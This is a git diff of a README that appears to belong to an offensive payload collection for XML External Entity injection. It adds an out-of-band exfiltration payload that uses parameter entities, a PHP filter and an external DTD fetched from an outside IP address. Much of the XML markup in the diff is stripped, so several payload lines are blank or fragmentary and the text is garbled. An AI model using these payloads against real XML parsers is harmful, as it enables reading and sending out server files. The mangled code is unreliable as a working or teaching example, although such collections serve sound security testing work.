diff --git a/XXE injections/README.md b/XXE injections/README.md index 325990b..9ff5a47 100644 --- a/XXE injections/README.md +++ b/XXE injections/README.md @@ -1,5 +1,5 @@ # XML External Entity -An XML External Entity attack is a type of attack against an application that parses XML input +An XML External Entity attack is a type of attack against an application that parses XML input ## Exploit @@ -39,7 +39,7 @@ PHP Wrapper inside XXE 75000 Paris - + ``` @@ -80,7 +80,22 @@ File stored on http://publicServer.com/parameterEntity_oob.dtd %all; ``` +XXE OOB with DTD and PHP filter +``` + + + +%sp; +%param1; +]> +&exfil; + +File stored on http://92.222.81.2/dtd.xml + +"> +``` ## Thanks to * https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing -* http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html \ No newline at end of file +* http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html